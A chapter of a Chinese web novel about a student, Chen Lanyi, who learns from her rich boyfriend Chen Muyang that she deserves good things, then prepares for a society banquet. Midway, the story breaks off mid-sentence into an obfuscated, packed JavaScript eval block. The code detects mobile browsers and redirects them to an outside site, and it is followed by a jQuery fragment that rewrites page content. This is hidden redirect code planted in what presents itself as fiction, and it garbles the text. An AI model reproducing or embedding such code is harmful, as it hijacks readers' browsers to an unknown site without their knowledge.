25.25

作品:《嫁个有钱人

    A市师范大学的前身是创办于1929年的A市女子专科学校。作为一所女校,注重男女大防,是历届校领导们不敢忘怀的校训和传统。


    公费师范系的女学生们住的这幢宿舍楼始建于2003年,经过多次装修和整改,建筑风格总是与时俱进。


    但唯一不变的,是那过早的宵禁时间——晚上十点半。无论是否节假日,只要宿舍楼内还有学生住,那闭寝时间,就是十点半,一刻都晚不了。


    晚上10:25。


    宿舍楼外,两扇自动玻璃门还未关上,门外的金属栅栏门,却已经开始“吱嘎”作响,徐徐地由外向里靠近。


    宿管阿姨穿一身花纹繁复的棉质长裙,将头发烫成包租婆的样式,下巴稍昂,颐指气使地望向外面已经没有多少学生走动的水泥路。


    陈澜一从陈慕阳车子上面下来,大着胆子,趁金属栅栏门还没有完全关闭,侧着身子快步挤到玻璃门后面。


    宿管阿姨震惊:“你······这都快到闭寝时间了······”


    陈澜一很不好意思地看向宿管阿姨:“阿姨不好意思啊,我今天有点事情耽误了,下次不会这么晚了!”


    宿管阿姨还没有再次开口,她又塞给她一小瓶装在玻璃瓶里的鲜食燕窝:“阿姨您辛苦了,吃点燕窝补补吧!”


    燕窝是吃了晚饭,陈新阳让保姆帮忙装瓶,一定要她带回,继续补身体的。


    陈澜一正愁宿舍里没有冰箱,这几瓶燕窝放不了多久,而自己一下子又吃不了太多,造成浪费呢。


    宿管阿姨得了燕窝,脸色果然好了许多。


    自动合闭的金属栅栏门已经关闭,她用力合上两扇玻璃门,赶陈澜一上楼:“快回宿舍吧,该睡觉了!睡美人,睡美人,美丽都是睡出来的!”


    陈澜一感激地朝她笑了笑,快步往楼上走去。


    刚打开宿舍门,在自己的书桌前坐下,陈慕阳的电话就打来了。


    手机里,他的声音听起来些许慵懒:“没被宿管阿姨拦住吧?”


    “没拦我。”陈澜一将手机调成外放模式,“说一说你的那个故事吧。”


    陈慕阳说,那个故事,要从他很小的时候说起。


    “小的时候,爸妈都没空照顾我,有一个胖胖的保姆阿姨,陪在我身边。有一天,我求阿姨讲故事给我听,阿姨就说了一个。”


    “她说:‘在很久很久以前,有一个村子,里面的村民都以砍柴为生。有一天,有一个年轻的男孩子到山上去砍柴,他经过一条小河,一不小心,手里的斧头掉进了河里······’”


    陈澜一打断他:“这个故事我知道,河里住着一个神仙,他拿出一把铁斧、一把银斧,还有一把金斧,问男孩子,你丢的是哪一把斧子呀?男孩子诚实地说,他丢的是铁斧,得到了河神的赞赏,过上了幸福的生活。这个故事告诉我们,做人要诚实。”


    “对。”陈慕阳说,“我那个保姆阿姨文化水平不怎么高,太高深的故事她不会讲。她讲完这个故事以后,拉长声调跟我说,慕阳啊,所以我们做人哦,要诚实呀。还要知足,不要贪心哦,不属于自己的东西不要去拿哦。”


    听陈慕阳学着保姆阿姨那不甚标准的语调说普通话,陈澜一忍不住轻轻笑起来。


    陈慕阳问:“但是你知道,当时我是怎么回答她的吗?”


    陈澜一自然是不知道的:“你说。”


    “我说,什么铁斧、银斧、金斧,如果被我看到了,那通通都是我的!那时候我还很小,大概刚上幼儿园吧,保姆阿姨听了以后,觉得很好玩,就去告诉给我爸妈听。”


    “我爸妈说,慕阳这小子确实有志气,然后把我一直想买,但是他们不同意的玩具,通通都买了下来送给我。”


    陈澜一笑了起来:“你小时候还蛮贪心的嘛。”


    但又觉得,斧头的故事和他父母夸他有志气,送他玩具这件事之间,联系好像并不大。


    “所以呢。”她问,“你想通过这两件事,表达什么意思?”


    “不,我这不是贪心。”手机那一边的陈慕阳,听到陈澜一这样问,语气忽然严肃起来,“这是配得感高的表现。我从小就认为我很好,很优秀,所以应该得到一切美好。”


    这什么意思?陈慕阳这是在为他的,从小自我感觉太过良好做解释吗?


    陈澜一呆愣住了,陈慕阳继续说:“澜一,我的意思是,你也很美好,你很优秀,你很棒,这世上所有的美好,都是你应得的。”


    “手镯不贵重,护肤品也不贵重,钱呢,只是一些特殊的纸张罢了。只有你,你才是这个世界上最最珍贵的。美好舒适的生活,体面漂亮的人生······这一切,都是你应得的。”


    “你不用为此产生任何愧疚感。”


    原来如此,陈澜一明白了。


    陈慕阳的意思是,她就是因为配得感太低,才会不敢收陈新阳准备的见面礼。


    她当下最应该做的,就是改变认知,提升自己的配得感,心安理得地接受一切美好。


    这是第一次有人跟她说这样的话,从前,她在父母长辈那儿,经常听到的,往往是这样的——


    “澜一,你是姐姐,要让着点弟弟啊!”


    “女儿终归是要嫁人的,是别人家的,不用对她太好!”


    “女孩子不要吃这么多肉,干活呢,要勤快点!养成了好吃懒做的坏习惯,以后去了婆家,要被婆家看不起的!”


    “女孩子读书读那么好有什么用?!最后还不是要结婚生子!”


    “女孩子不用买那么贵的衣服,女装衣服款式一年一变,你买得那么贵,没过多久就过时了,穿不了了,那不就是白白浪费钱吗?!”


    ······


    原来在不知不觉中,她已经被父母和某种集体意识,成功地规训成了“配得感”极低的那种人。


    即使,在整个过程中,她都有在努力地抗争。


    但那种铺天盖地而来的规训,早已经潜移默化地深耕于她的底层逻辑之中······


    所以,当她拿到陈新阳准备的见面礼时,第一反应不是欣喜,而是“恐惧”。


    恐惧美好背后隐藏着可怕的陷阱。


    后又是“愧疚”。


    总是习惯性地看低自己,认为自己不够好,配不上这么昂贵的东西。


    若不是陈慕阳点醒,她都不知道自己,到什么时候才能觉醒。


    回想往事,陈澜一越想越气,越想越觉得委屈,容易“泪失禁”的体质一发作,眼眶里立刻蓄满了泪水。


    隔着两层空间,她看向陈慕阳点头:“我知道了。”


    其实是想一个人好好静静,再仔细想一想其中的逻辑关系。


    陈慕阳说:“已经十一点多了,快睡觉吧。”


    陈澜一偷偷擦眼泪:“嗯。”


    陈慕阳机敏地察觉到,此刻,她的声音和平时很不一样:“你哭了?”


    “没有。眼睛······眼睛被烟熏到了。”陈澜一连忙让自己快速冷静下来,她暂时还不想让陈慕阳发现自己很容易掉眼泪这件事。


    【你又在偷偷学抽烟?!】


    陈慕阳这句话还没有问出来,陈澜一就先挂了电话:“很晚了,我去洗漱了,你也早点睡。”


    看来对方已经拒绝通过对话交谈的方式,进行沟通了。


    没办法,陈慕阳只好发文字给她。


    A市著名电焊手:【后天顾时月办生日宴,你陪我一起去?以陈家未来儿媳妇的身份。】


    许久,时间已快到凌晨十二点,正站在天文望远镜前,用心观察群星变化的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451090|182840||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陈慕阳,才听到手机“叮咚”一声响。


    一点小波澜:【好呀。】


    一点小波澜:【不过,我化妆技术太次。为免在宴会上给你丢脸,请务必帮我请一个技术好一点的化妆师哦。】


    刚刚一个多小时前,他还在明晃晃地点她配得感太低,不会享受生活呢,这就已经学会提要求了?


    很好,孺子可教啊。


    陈慕阳傻笑着给她回信息。


    A市著名电焊手:【放心,包在我身上!】


    ***


    陈慕阳上身穿一条黑色的新中式立领西服,里面配一条白色提花衬衫,下面穿一条与西服同色系的直筒休闲西裤,脖子上,还叠戴了一条菱形六芒星银质项链。


    他本就高大帅气,能把汽配厂的工人工作服穿出意大利小众潮牌的感觉,今天再这样一打扮,简直可以用“风华绝代”“帅出天际”来形容。


    陈澜一坐在化妆镜前,视线却忍不住跟着他一起走,看他看得一直挪不开眼。


    化妆师不厌其烦地提醒她:“头端正,看前面,看前面。”


    陈慕阳微微一笑,索性往她前面一站:“我看我就站这儿得了,让你好好看个够。”


    被戳中小心思,陈澜一的脸瞬间红透,她嘟囔着:“你愿意站,就站着吧。我可不要看你!”


    就强迫自己不再去看他,而只盯着镜子里自己的脸看。


    专业化妆师的技术就是不一样。


    陈澜一看她只是拿着粉扑,看似轻松地在她脸上这里扫两下,那里扫两下,却能最大限度地放大她脸上的优点,再把那些缺点,完完全全地掩盖过去。


    化妆师最后用卷发棒,帮她抚平额前最后一缕不听话的碎发:“好了。”


    陈澜一站起来,准备让已经转移阵地,正坐在客厅沙发上,一边品茗一边等待的陈慕阳,瞧一瞧“大换装”之后的自己。


    站在客厅门口,她从后面轻轻唤他的名字:“陈慕阳,我好了。”


    陈慕阳闻声,站起来往后看,看见眼前的陈澜一,穿着一身同是黑色的改良旗袍。


    她的长发被化妆师挽成一个发髻,右侧插着一根碧玉簪子。脖子上,戴着一串珍珠项链,耳朵上,也配上了同样浑圆光洁的珍珠耳钉。左手臂上,则依旧戴着陈新阳前天送给她的翡翠镯子。


    这样的装扮,这样的发型,让她褪去了身上不少幼稚和青涩的味道,显得高雅贵气极了。


    陈慕阳走向她,在脑海中努力地搜索所有溢美之词,最后也只说了一句:“美极了!”


    他伸手,揽住她几乎只有盈盈一握的细腰,由衷感叹:“澜一,上天派你来到我身边,真是太好了!”


    他看了看左手腕上的手表:“时间差不多了,我们出发吧。顾家举办宴会的地方在山上的一个庄园里,开车需要一个小时左右。”


    化妆师帮陈澜一在包里放上用来补妆的粉饼和口红,很有礼貌地和他们说再见:“陈少爷,陈夫人,晚宴玩得开心哦。”


    少爷、夫人······好有年代感和阶级感的称呼哦。


    向来接受无产阶级革命文化教育的陈澜一,一时之间,还真有点接受不了有人这么称呼她,化妆师离开后,她问陈慕阳:“我们怎么去?”


    因为迟迟没有看见他有拿车钥匙的动作。


    陈慕阳说:“王叔送我们去,我今天晚上,可能会喝点酒。”


    王叔?哪个王叔?


    这是要解锁新的NPC了吗?


    陈澜一四处寻找王叔,庭院里,王叔已经等着了。


    “少爷,小姐。”他说,“收拾好了,我们就出发吧。”


    得,在陈家,她这称呼和身份啊,说变就变。


    刚还是夫人呢,一眨眼的功夫,就纡尊降贵,直接成小姐啦!